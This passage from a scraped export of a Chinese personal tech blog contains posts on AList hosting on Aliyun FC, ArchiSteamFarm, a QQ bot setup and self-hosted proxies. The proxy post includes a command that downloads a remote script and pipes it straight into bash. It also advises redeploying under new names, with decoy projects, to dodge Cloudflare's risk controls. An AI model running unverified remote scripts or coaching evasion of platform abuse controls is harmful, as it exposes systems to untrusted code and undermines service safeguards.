id=\"主播主播你的操作还是太笨比了后续有没有什么更笨比的操作啊\"\u003e主播主播，你的操作还是太笨比了，后续有没有什么更笨比的操作啊！\u003c/h1\u003e\n\u003cp\u003e有的，兄弟有的，就在刚刚！下单了一个新NAS，我已经准备好通宵搞机了。我的一位朋友曾说人生在于折腾，但可惜那时我已经佛了，被各种事情忙的不可开交。但是话又说回来，现在，我前所未有的感到空闲，我将带领我的大脑，我的身体，我的精神，开启一场前所未有的熬夜、搞机、折腾、坐牢盛宴\u003c/p\u003e\n\u003cp\u003e哈哈！我一定要活下去口牙！\u003c/p\u003e\n\u003cp\u003e后续搞机有成也会写新博文的，确实很久没写了，我向大家道歉，看着网站每天20的日活真的要哭了，你们都不来找我呜呜呜呜呜呜呜\u003c/p\u003e","title":"我买了个新NAS..."},{"content":"还是建议购买一个便宜的云服务器来部署或者用家里云，这种方法很灵车 推荐Akile：https://akile.io/register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e\n原理 AList前端有一个专门的项目：https://github.com/AlistGo/alist-web 。可前往AList-Web部署教程。教程使用了Cloudflare Page进行前端部署，我们更建议你使用 https://vercel.com 来进行前端部署，因为更快。这些都完全免费 部署完毕前端后，我们就需要一个后端，它需要能够执行AList的二进制文件，并且能开放端口（默认为5244）来让前端可以和后端相互通信。在传统情况下我们会选择购买一台云服务器，或者用自己的电脑/家里云+Cloudflare Tunnel又或者是Serv00这种免费的托管。本篇我们使用阿里云FC函数计算，它虽然可以运行二进制文件，但是和传统架构大相径庭，我们要深入了解。 FC函数是一个实例性服务。用户可以创建函数部署服务，当一定条件被触发（比如HTTP触发器）则创建新的实例开始运行用户的服务。也就是说这个实例是无状态的，如果直接拿来部署AList就会导致第一次配置完毕后过一段时间再访问就会变为初始状态。就算你一开始就使用一个全量包来部署，在部署后也无法对其进行更改，所以我们需要绑定一个NAS文件系统，用于数据持久化。但是NAS文件系统并不能直接绑定到代码的运行时 /code/xxx 目录，我们可以使用AList的指定配置文件参数，将NAS绑定到 /mnt/AList 然后指定配置文件到 /mnt/AList 。也就是通过 ./alist server \u0026ndash;data /mnt/AList 命令来启动，这样就做到了数据持久化。 关于计费 FC函数通过CU数来收费 NAS通过存储空间来收费 实操 我们假设你已经部署完毕了前端。前端和后端的通信地址在根目录的 env.production 文件定义 我们目前并不知道这个后端URL如何填写，因为这个URL是由阿里云在FC函数创建完毕的时候才会展示，所以我们暂且搁置到一遍 接下来我们前往阿里云-函数计算FC官网 https://fcnext.console.aliyun.com/overview 依次点击 左侧边栏的 函数 -\u0026gt; 创建函数 -\u0026gt; Web函数。进入到创建Web函数的页面 函数名称填写AList，运行环境选择Debian 10或Debian 11，代码上传方式选择从文件夹上传代码，启动命令填写：./alist server \u0026ndash;data /mnt/AList，监听端口填写5244 我们需要上传代码到函数，也就是AList的二进制文件，我们前往 https://github.com/AlistGo/alist/releases/latest 下载最新的Linux AMD64架构的二进制文件，也就是 alist-linux-amd64.tar.gz。将其解压，你会得到一个名为 alist的二进制文件，创建一个空文件夹将其放进去，然后上传这个文件夹到函数 然后点击左下角的创建\n然后你会进入到函数的控制面板，依次点击 配置 -\u0026gt; 网络 -\u0026gt; 网络 编辑 -\u0026gt; 允许访问VPC:是 -\u0026gt; 自动配置。依次点击 配置 -\u0026gt; 存储 -\u0026gt; NAS文件存储 编辑 -\u0026gt; 挂载 NAS 文件系统:启用 -\u0026gt; 自动配置。依次点击 日志 -\u0026gt; 开通日志服务\n现在回到 代码 界面，点击部署代码。稍等片刻会提示部署成功，然后点击 函数详情内的 HTTP触发器 ，复制公网访问地址。这个就是我们前文提到的要写到前端根目录的 env.production 文件的URL，将其填写进去，例如\nVITE_API_URL = \u0026#34;https://aliyun-fc-alist.run\u0026#34; 提交你的新更改，前端会自动重新构建\n尝试直接访问你的AList前端URL，它应该会顺利进入到AList的登录页面\n此时查看控制面板的 实例 是否有一条新的实例正在工作，如果有，再前往日志查看该实例日志，你会看到AList初始化时生成的管理员密码，拿这个密码到前端URL登录AList，然后就可以正常使用了\n疑难解答 如果出现正在加载储存： 查看你的日志，是否有存储加载失败，如果有可以尝试： 反复重新部署，直到能进后台然后删除那些加载失败的存储 https://github.com/AlistGo/alist/discussions/3976 ","permalink":"https://blog.2x.nz/posts/alist-for-aliyun/","summary":"\u003ch1 id=\"还是建议购买一个便宜的云服务器来部署或者用家里云这种方法很灵车\"\u003e还是建议购买一个便宜的云服务器来部署或者用家里云，这种方法很灵车\u003c/h1\u003e\n\u003cp\u003e推荐Akile：https://akile.io/register?aff_code=503fe5ea-e7c5-4d68-ae05-6de99513680e\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"原理\"\u003e原理\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003eAList前端有一个专门的项目：https://github.com/AlistGo/alist-web 。可前往\u003ca href=\"/posts/alist-web/\"\u003eAList-Web部署教程\u003c/a\u003e。教程使用了Cloudflare Page进行前端部署，我们更建议你使用 \u003ca href=\"https://vercel.com\"\u003ehttps://vercel.com\u003c/a\u003e 来进行前端部署，因为更快。这些都完全免费\u003c/li\u003e\n\u003cli\u003e部署完毕前端后，我们就需要一个后端，它需要能够执行AList的二进制文件，并且能开放端口（默认为5244）来让前端可以和后端相互通信。在传统情况下我们会选择购买一台云服务器，或者用自己的电脑/家里云+Cloudflare Tunnel又或者是Serv00这种免费的托管。本篇我们使用阿里云FC函数计算，它虽然可以运行二进制文件，但是和传统架构大相径庭，我们要深入了解。\u003c/li\u003e\n\u003cli\u003eFC函数是一个实例性服务。用户可以创建函数部署服务，当一定条件被触发（比如HTTP触发器）则创建新的实例开始运行用户的服务。也就是说这个实例是无状态的，如果直接拿来部署AList就会导致第一次配置完毕后过一段时间再访问就会变为初始状态。就算你一开始就使用一个全量包来部署，在部署后也无法对其进行更改，所以我们需要绑定一个NAS文件系统，用于数据持久化。但是NAS文件系统并不能直接绑定到代码的运行时 /code/xxx 目录，我们可以使用AList的指定配置文件参数，将NAS绑定到 /mnt/AList 然后指定配置文件到 /mnt/AList 。也就是通过 \u003cstrong\u003e./alist server \u0026ndash;data /mnt/AList\u003c/strong\u003e 命令来启动，这样就做到了数据持久化。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"关于计费\"\u003e关于计费\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003eFC函数通过CU数来收费\u003c/li\u003e\n\u003cli\u003eNAS通过存储空间来收费\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"实操\"\u003e实操\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003e我们假设你已经部署完毕了前端。前端和后端的通信地址在根目录的 env.production 文件定义\u003c/li\u003e\n\u003cli\u003e我们目前并不知道这个后端URL如何填写，因为这个URL是由阿里云在FC函数创建完毕的时候才会展示，所以我们暂且搁置到一遍\u003c/li\u003e\n\u003cli\u003e接下来我们前往阿里云-函数计算FC官网 \u003ca href=\"https://fcnext.console.aliyun.com/overview\"\u003ehttps://fcnext.console.aliyun.com/overview\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e依次点击 左侧边栏的 函数 -\u0026gt; 创建函数 -\u0026gt; Web函数。进入到创建Web函数的页面\u003c/li\u003e\n\u003cli\u003e函数名称填写AList，运行环境选择Debian 10或Debian 11，代码上传方式选择从文件夹上传代码，启动命令填写：\u003cstrong\u003e./alist server \u0026ndash;data /mnt/AList\u003c/strong\u003e，监听端口填写5244\u003c/li\u003e\n\u003cli\u003e我们需要上传代码到函数，也就是AList的二进制文件，我们前往 \u003ca href=\"https://github.com/AlistGo/alist/releases/latest\"\u003ehttps://github.com/AlistGo/alist/releases/latest\u003c/a\u003e 下载最新的Linux AMD64架构的二进制文件，也就是 \u003cstrong\u003ealist-linux-amd64.tar.gz\u003c/strong\u003e。将其解压，你会得到一个名为 \u003cstrong\u003ealist\u003c/strong\u003e的二进制文件，创建一个空文件夹将其放进去，然后上传这个文件夹到函数\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://eo-r2.2x.nz/myblog/img/QmdajYeRyt1u3BSmRdGx8uUHKamGDkwoRe4TmEFZsJsaqS.webp\"\u003e\u003c/p\u003e\n\u003col start=\"7\"\u003e\n\u003cli\u003e\n\u003cp\u003e然后点击左下角的创建\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e然后你会进入到函数的控制面板，依次点击 配置 -\u0026gt; 网络 -\u0026gt; 网络 编辑 -\u0026gt; 允许访问VPC:是 -\u0026gt; 自动配置。依次点击 配置 -\u0026gt; 存储 -\u0026gt; NAS文件存储 编辑 -\u0026gt; 挂载 NAS 文件系统:启用 -\u0026gt; 自动配置。依次点击 日志 -\u0026gt; 开通日志服务\u003c/p\u003e","title":"利用阿里云云函数 FC 搭建AList后端，每月仅需5毛！"},{"content":"可用的目标作业系统 Windows x86/Arm64 Linux x86/Arm64/Arm32 OS X x86/Arm64 （和其余任何可以获取有效 .NET Core 运行时的地方工作。基于Github仓库源码手动编译）\n安装\u0026amp;使用 ArchiSteamFarm https://github.com/JustArchiNET/ArchiSteamFarm\n或前往Release：https://github.com/JustArchiNET/ArchiSteamFarm/releases/latest\n下载你适用于你作业系统的可执行文件的压缩包\n启动ArchiSteamFarm 等待终端输出WebUI地址，进入\n添加机器人，简单配置即可\n如果你配置了Steam手机验证器，此时应该会弹出登录请求，允许它。然后前往终端界面输入 Y 并回车 此时终端应该输出：成功以 XXXXXXXXXX 的身份登录。\n如果此时登录的账号未被占用，则自动开始挂卡。\nASF并不会干扰你的正常使用Steam的行为，当账号被占用时，ASF会暂停挂卡，直到账号未被占用，这个过程是全自动的，无需手动干涉\nASF可以视为一个无头Steam客户端，它不仅能挂卡，还能做更多事情，详见：https://github.com/JustArchiNET/ArchiSteamFarm/wiki\n","permalink":"https://blog.2x.nz/posts/asf/","summary":"\u003ch1 id=\"可用的目标作业系统\"\u003e可用的目标作业系统\u003c/h1\u003e\n\u003cp\u003eWindows x86/Arm64\nLinux x86/Arm64/Arm32\nOS X x86/Arm64\n（和其余任何可以获取有效 .NET Core 运行时的地方工作。基于Github仓库源码手动编译）\u003c/p\u003e\n\u003ch1 id=\"安装使用-archisteamfarm\"\u003e安装\u0026amp;使用 ArchiSteamFarm\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/JustArchiNET/ArchiSteamFarm\"\u003ehttps://github.com/JustArchiNET/ArchiSteamFarm\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e或前往Release：https://github.com/JustArchiNET/ArchiSteamFarm/releases/latest\u003c/p\u003e\n\u003cp\u003e下载你适用于你作业系统的可执行文件的压缩包\u003c/p\u003e\n\u003cp\u003e启动ArchiSteamFarm\n等待终端输出WebUI地址，进入\u003c/p\u003e\n\u003cp\u003e添加机器人，简单配置即可\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://eo-r2.2x.nz/myblog/img/QmcoF7K5sTkd4CRGTZPmnLwheAHpSf68RkZTd4ZST41uXc.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果你配置了Steam手机验证器，此时应该会弹出登录请求，允许它。然后前往终端界面输入 \u003cstrong\u003eY\u003c/strong\u003e 并回车\n此时终端应该输出：\u003cstrong\u003e成功以 XXXXXXXXXX 的身份登录。\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://eo-r2.2x.nz/myblog/img/QmcuktSJjWFmufsLmrYRsbLa9ns7pvRXKWZ5EUyirasKt6.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e如果此时登录的账号未被占用，则自动开始挂卡。\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eASF并不会干扰你的正常使用Steam的行为，当账号被占用时，ASF会暂停挂卡，直到账号未被占用，这个过程是全自动的，无需手动干涉\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eASF可以视为一个无头Steam客户端，它不仅能挂卡，还能做更多事情，详见：https://github.com/JustArchiNET/ArchiSteamFarm/wiki\u003c/p\u003e","title":"使用ArchiSteamFarm进行Steam自动挂卡"},{"content":"我使用的解决方法（Windows 10及以上带有Microsoft Store的系统） 安装这个即可\n然后游戏内改为Windows Media Player\n汉化组提供的解决方法 安装：K-Lite Basic解码器\n然后游戏内改为 MCI\n","permalink":"https://blog.2x.nz/posts/rewrite-qa/","summary":"\u003ch1 id=\"我使用的解决方法windows-10及以上带有microsoft-store的系统\"\u003e我使用的解决方法（Windows 10及以上带有Microsoft Store的系统）\u003c/h1\u003e\n\u003cp\u003e安装这个即可\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://eo-r2.2x.nz/myblog/img/bafkreieb2qknggudxx7sc723jheso6grhgemznjqb5n6yqwsrvgqkqn4ba.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e然后游戏内改为Windows Media Player\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://eo-r2.2x.nz/myblog/img/bafkreihujn3jctibvixv4trpsu5j4d2v7de2ibzea6xe6pzmithymffpqu.webp\"\u003e\u003c/p\u003e\n\u003ch1 id=\"汉化组提供的解决方法\"\u003e汉化组提供的解决方法\u003c/h1\u003e\n\u003cp\u003e安装：\u003ca href=\"https://www.codecguide.com/download_k-lite_codec_pack_basic.htm\"\u003eK-Lite Basic解码器\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e然后游戏内改为 MCI\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://eo-r2.2x.nz/myblog/img/bafkreic7a3tnnoxyn646tzy35nec2oioz4ktffuizb5ge67ibww5ntnmpq.webp\"\u003e\u003c/p\u003e","title":"关于Rewrite MV无法播放\\没有画面的解决方法"},{"content":"将Cloudflare作为代理使用（Vless - EdgeTunnel） 下面内容参考自：CF VLESS 从入门到精通 cmliu/edgetunnel 必看内容 免费节点 优选订阅 Workers \u0026amp; Pages CM喂饭干货满满24 | CMLiussss Blog 请支持原创作者！\nhttps://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip 将它上传到你的Cloudflare Pages项目（没有Cloudflare账号？先去因特网上搜索教程注册一个！如果遇到卡慢可以试试看科学上网） 进入 https://it-tools.tech/uuid-generator 随机获取一个uuid 添加一个名称为UUID的变量绑定，值为第二步随机获取的（请不要泄露给他人！） 重新上传第一步的main.zip。让Cloudflare重新部署page以适配新变量 前往Pages项目 -\u0026gt; 自定义域：绑定自定义域名。（没有域名？推荐 https://nic.us.kg https://www.cloudns.net 。可以自行前往因特网搜索教程，这里不再赘述。也可以不绑定，直接使用cf分配的pages.dev域名。但是，部分地区pages.dev可能无法访问或者较易和谐） 通过 https://你的自定义域名/uuid 查看仪表盘 如图复制链接，打开V2Ray，导入。V2Ray客户端下载地址在文章最后 500Mbps的移动宽带，通过edgetunnel测速速度如下。测速网址： https://fast.com 如果你就是想要最低延迟，可以去用cfnat，这里放一个Windows的链接： https://www.youtube.com/watch?v=N2Y9TsiBgls 其他平台可以自行前往CM的YouTube查找 注意！edgetunnel近期在Cloudflare新号上可能会报错1101，这可能并不是你的配置问题，而是被cf风控了。解决方案是删除原项目重新部署一遍，不要用一样的项目名！你也可以多弄几个其他的正常pages或workers项目做伪装！博主使用新号实测被gank了3次（每一次都换名字删除pages然后重新部署），然后一直稳定到现在 本人实测在全天使用edgetunnel的情况下已经使用了大部分的配额，所以请不要将自己的项目分享给别人，也不要拿去卖！自己注册简简单单！ 如图为博主半天的使用量：我只是上了上Telegram~ 将你自己的国外VPS作为代理使用 使用新协议：Hysteria2 可以前往这两个仓库进行一键安装~\nhttps://github.com/0x0129/hysteria2\nhttps://github.com/seagullz4/hysteria2\n大致安装过程：自签名，不使用acme，不使用端口跳跃\n客户端（Hiddify）：\nhttps://github.com/hiddify/hiddify-app\n其他客户端在第二个Github Repo获取\n使用旧协议：V2Ray https://github.com/233boy/v2ray\nVPS安装脚本：bash \u0026lt;(curl -s -L https://git.io/v2ray.sh)\n详细安装：脚本执行完毕后输入v2ray更改配置为Shadowsocks\nWindows客户端： Releases · 2dust/v2rayN · GitHub\nAndroid客户端： Releases · 2dust/v2rayNG · GitHub\n","permalink":"https://blog.2x.nz/posts/vpn/","summary":"\u003ch1 id=\"将cloudflare作为代理使用vless---edgetunnel\"\u003e将Cloudflare作为代理使用（Vless - EdgeTunnel）\u003c/h1\u003e\n\u003cp\u003e下面内容参考自：\u003ca href=\"https://vercel.blog.cmliussss.com/p/CM24/\"\u003eCF VLESS 从入门到精通 cmliu/edgetunnel 必看内容 免费节点 优选订阅 Workers \u0026amp; Pages CM喂饭干货满满24 | CMLiussss Blog\u003c/a\u003e 请支持原创作者！\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip\"\u003ehttps://github.com/cmliu/edgetunnel/archive/refs/heads/main.zip\u003c/a\u003e 将它上传到你的Cloudflare Pages项目（没有Cloudflare账号？先去因特网上搜索教程注册一个！如果遇到卡慢可以试试看科学上网）\u003c/li\u003e\n\u003cli\u003e进入 \u003ca href=\"https://it-tools.tech/uuid-generator\"\u003ehttps://it-tools.tech/uuid-generator\u003c/a\u003e 随机获取一个uuid\u003c/li\u003e\n\u003cli\u003e添加一个名称为\u003ccode\u003eUUID\u003c/code\u003e的变量绑定，值为第二步随机获取的（请不要泄露给他人！）\u003c/li\u003e\n\u003cli\u003e重新上传第一步的\u003ccode\u003emain.zip\u003c/code\u003e。让Cloudflare重新部署page以适配新变量\u003c/li\u003e\n\u003cli\u003e前往Pages项目 -\u0026gt; 自定义域：绑定自定义域名。（没有域名？推荐 \u003ca href=\"https://nic.us.kg\"\u003ehttps://nic.us.kg\u003c/a\u003e \u003ca href=\"https://www.cloudns.net\"\u003ehttps://www.cloudns.net\u003c/a\u003e 。可以自行前往因特网搜索教程，这里不再赘述。也可以不绑定，直接使用cf分配的\u003ccode\u003epages.dev\u003c/code\u003e域名。但是，部分地区\u003ccode\u003epages.dev\u003c/code\u003e可能无法访问或者较易和谐）\u003c/li\u003e\n\u003cli\u003e通过 \u003ccode\u003ehttps://你的自定义域名/uuid\u003c/code\u003e 查看仪表盘\u003c/li\u003e\n\u003cli\u003e如图复制链接，打开V2Ray，导入。V2Ray客户端下载地址在文章最后\u003c/li\u003e\n\u003cli\u003e\u003cimg loading=\"lazy\" src=\"/posts/vpn/img/2024-11-24-00-17-22-image.webp\"\u003e\u003c/li\u003e\n\u003cli\u003e500Mbps的移动宽带，通过edgetunnel测速速度如下。测速网址： \u003ca href=\"https://fast.com\"\u003ehttps://fast.com\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cimg loading=\"lazy\" src=\"/posts/vpn/img/2024-11-22-09-08-38-image.webp\"\u003e\u003c/li\u003e\n\u003cli\u003e如果你就是想要最低延迟，可以去用cfnat，这里放一个Windows的链接： \u003ca href=\"https://www.youtube.com/watch?v=N2Y9TsiBgls\"\u003ehttps://www.youtube.com/watch?v=N2Y9TsiBgls\u003c/a\u003e 其他平台可以自行前往CM的YouTube查找\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e注意！edgetunnel近期在Cloudflare新号上可能会报错1101，这可能并不是你的配置问题，而是被cf风控了。解决方案是删除原项目重新部署一遍，不要用一样的项目名！你也可以多弄几个其他的正常pages或workers项目做伪装！博主使用新号实测被gank了3次（每一次都换名字删除pages然后重新部署），然后一直稳定到现在\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e本人实测在全天使用edgetunnel的情况下已经使用了大部分的配额，所以请不要将自己的项目分享给别人，也不要拿去卖！自己注册简简单单！\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e如图为博主半天的使用量：我只是上了上Telegram~\u003c/li\u003e\n\u003cli\u003e\u003cimg loading=\"lazy\" src=\"/posts/vpn/img/2024-11-26-16-07-50-image.webp\"\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"将你自己的国外vps作为代理使用\"\u003e将你自己的国外VPS作为代理使用\u003c/h1\u003e\n\u003ch2 id=\"使用新协议hysteria2\"\u003e使用新协议：Hysteria2\u003c/h2\u003e\n\u003cp\u003e可以前往这两个仓库进行一键安装~\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/0x0129/hysteria2\"\u003ehttps://github.com/0x0129/hysteria2\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/seagullz4/hysteria2\"\u003ehttps://github.com/seagullz4/hysteria2\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大致安装过程：自签名，不使用acme，不使用端口跳跃\u003c/p\u003e\n\u003cp\u003e客户端（Hiddify）：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/hiddify/hiddify-app\"\u003ehttps://github.com/hiddify/hiddify-app\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e其他客户端在第二个Github Repo获取\u003c/p\u003e\n\u003ch2 id=\"使用旧协议v2ray\"\u003e使用旧协议：V2Ray\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/233boy/v2ray\"\u003ehttps://github.com/233boy/v2ray\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eVPS安装脚本：\u003ccode\u003ebash \u0026lt;(curl -s -L https://git.io/v2ray.sh)\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e详细安装：脚本执行完毕后输入\u003ccode\u003ev2ray\u003c/code\u003e更改配置为Shadowsocks\u003c/p\u003e\n\u003cp\u003eWindows客户端： \u003ca href=\"https://github.com/2dust/v2rayN/releases\"\u003eReleases · 2dust/v2rayN · GitHub\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eAndroid客户端： \u003ca href=\"https://github.com/2dust/v2rayNG/releases\"\u003eReleases · 2dust/v2rayNG · GitHub\u003c/a\u003e\u003c/p\u003e","title":"自建正向代理服务器"},{"content":"安装 NapCat(Win) 用于登录 QQ 实现收发消息\n进入Release NapCat V4.1.12 · NapNeko/NapCatQQ · GitHub，下载NapCat.Shell.zip\n将其解压到一个单独的文件夹，然后打开命令行，运行launcher.bat \u0026lt;BOT QQ号\u0026gt;\n运行后通过手机扫码登录\n它会打印本地控制台的地址信息，如：[NapCat] [WebUi] WebUi Local Panel Url: http://127.0.0.1:6099/webui?token=4xldg5fqb1\n直接进入，如图配置即可（端口号可以自己修改，但是要和下部分NoneBot2监听的端口一致。这里是9090）\n安装 NoneBot2 用于实现逻辑，控制 NapCat 收发消息\n首先，你得装Python。Windows可以使用 https://scoop.sh/\npypi 清华源：pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple\n装 pipx：pip install pipx。你也可以使用scoop install pipx\n设置 pipx 全局变量：pipx ensurepath\n装 nb-cli：pipx install nb-cli\n如果找不到 nb 命令： 对于 root 用户，你可以编辑 /root/.bashrc 或 /root/.profile（如果你使用的是 Bash）： nano /root/.bashrc 添加以下行： export PATH=\u0026quot;$HOME/.local/bin:$PATH\u0026quot; 保存并重新加载配置： source /root/.bashrc\n装 nb bootstrap：nb self install nb-cli-plugin-bootstrap\n新建项目，选一个你喜欢的文件夹，然后：nb bs （看不懂的就一路回车）\n示例：\nC:\\afbot\u0026gt;nb bs 加载适配器列表中…… 请输入项目名称 [?] 请输入 \u0026gt; onanibot [?] 请选择你想要使用的适配器 OneBot V11 (OneBot V11 协议) 请输入 Bot 超级用户，超级用户拥有对 Bot 的最高权限（如对接 QQ 填 QQ 号即可）（留空回车结束输入） [?] 第 1 项 \u0026gt; 请输入 Bot 昵称，消息以 Bot 昵称开头可以代替艾特（留空回车结束输入） [?] 第 1 项 \u0026gt; 请输入 Bot 命令起始字符，消息以起始符开头将被识别为命令， 如果有一个指令为 查询，当该配置项中有 \u0026#34;/\u0026#34; 时使用 \u0026#34;/查询\u0026#34; 才能够触发， 留空将使用默认值 [\u0026#39;\u0026#39;, \u0026#39;/\u0026#39;, \u0026#39;#\u0026#39;]（留空回车结束输入） [?] 第 1 项 \u0026gt; 请输入 Bot 命令分隔符，一般用于二级指令， 留空将使用默认值 [\u0026#39;.\u0026#39;, \u0026#39; \u0026#39;]（留空回车结束输入） [?] 第 1 项 \u0026gt; 请输入 NoneBot2 监听地址，如果要对公网开放，改为 0.0.0.0 即可 [?] 请输入 \u0026gt; 127.0.0.1 请输入 NoneBot2 监听端口，范围 1 ~ 65535，请保证该端口号与连接端配置相同，或与端口映射配置相关 [?] 请输入 \u0026gt; 8080 [?] 是否在项目目录中释出快捷启动脚本？ Yes [?] 是否将 localstore 插件的存储路径重定向到项目路径下以便于后续迁移 Bot？ Yes [?] 是否使用超级用户 Ping 指令回复插件？ Yes [?] 是否安装 logpile 插件提供日志记录到文件功能？ Yes [?] 是否在启动脚本中使用 webui 插件启动项目以使用网页管理 NoneBot？（该插件仍在开发中，不推荐用于生产环境） No 成功新建项目 onanibot [?] 是否新建虚拟环境？ Yes 正在 C:\\afbot\\onanibot\\.venv 中创建虚拟环境 创建虚拟环境成功 [?] 是否需要修改或清除 pip 的 PyPI 镜像源配置？ No [?] 是否立即安装项目依赖？ Yes 正在安装项目依赖 依赖安装成功 [?] 请选择需要启用的内置插件 项目配置完毕，开始使用吧！ 项目创建完毕后启动：nb run\n出现：[INFO] nonebot | OneBot V11 | Bot XXXXXXXXXX connected 你就成功连接上 Lagrange 了\n测试，发个/ping，看是否出现Pong~\n如果你要调试 NoneBot2，请先使用nb 进入虚拟环境。然后使用pip install \u0026lt;包名\u0026gt;\n","permalink":"https://blog.2x.nz/posts/qqbot/","summary":"\u003ch1 id=\"安装-napcatwin\"\u003e安装 NapCat(Win)\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e用于登录 QQ 实现收发消息\u003c/p\u003e\u003c/blockquote\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e进入\u003ca href=\"https://github.com/NapNeko/NapCatQQ/releases/latest\"\u003eRelease NapCat V4.1.12 · NapNeko/NapCatQQ · GitHub\u003c/a\u003e，下载\u003ccode\u003eNapCat.Shell.zip\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e将其解压到一个单独的文件夹，然后打开命令行，运行\u003ccode\u003elauncher.bat \u0026lt;BOT QQ号\u0026gt;\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e运行后通过手机扫码登录\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e它会打印本地控制台的地址信息，如：\u003ccode\u003e[NapCat] [WebUi] WebUi Local Panel Url: http://127.0.0.1:6099/webui?token=4xldg5fqb1\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e直接进入，如图配置即可（端口号可以自己修改，但是要和下部分NoneBot2监听的端口一致。这里是9090）\u003cimg loading=\"lazy\" src=\"/posts/qqbot/img/2024-11-20-19-21-21-2024-11-20-19-15-39-image.webp\"\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1 id=\"安装-nonebot2\"\u003e安装 NoneBot2\u003c/h1\u003e\n\u003cp\u003e用于实现逻辑，控制 NapCat 收发消息\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e首先，你得装\u003ca href=\"https://www.python.org/downloads/\"\u003ePython\u003c/a\u003e。Windows可以使用 \u003ca href=\"https://scoop.sh/\"\u003ehttps://scoop.sh/\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003epypi 清华源：\u003ccode\u003epip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e装 pipx：\u003ccode\u003epip install pipx\u003c/code\u003e。你也可以使用\u003ccode\u003escoop install pipx\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e设置 pipx 全局变量：\u003ccode\u003epipx ensurepath\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e装 nb-cli：\u003ccode\u003epipx install nb-cli\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e如果找不到 nb 命令：\u003c/strong\u003e 对于 root 用户，你可以编辑 \u003ccode\u003e/root/.bashrc\u003c/code\u003e 或 \u003ccode\u003e/root/.profile\u003c/code\u003e（如果你使用的是 Bash）： \u003ccode\u003enano /root/.bashrc\u003c/code\u003e 添加以下行： \u003ccode\u003eexport PATH=\u0026quot;$HOME/.local/bin:$PATH\u0026quot;\u003c/code\u003e 保存并重新加载配置： \u003ccode\u003esource /root/.bashrc\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e装 nb bootstrap：\u003ccode\u003enb self install nb-cli-plugin-bootstrap\u003c/code\u003e\u003c/p\u003e","title":"使用NoneBot2搭建你的QQBot！"},{"content":"直接下载服务端文件并运行 https://github.com/afoim/phira-mp-autobuild\n这里有一些由Github Action自动构建的服务端文件，涵盖以下系统和架构\n也可以前往Multiplayer Server | Dmocken的Phira下载站自行寻找\n寻找适用于你的系统的文件，下载下来并执行即可。默认服务端将会在你的主机12346端口上开放，如果需要自定义端口，请使用--port参数指定端口。然后即可使用Phira来填写IP/域名:端口来连接\n*如果要显示Log，请使用 RUST_LOG=debug ./xxx 去运行，默认日志等级是 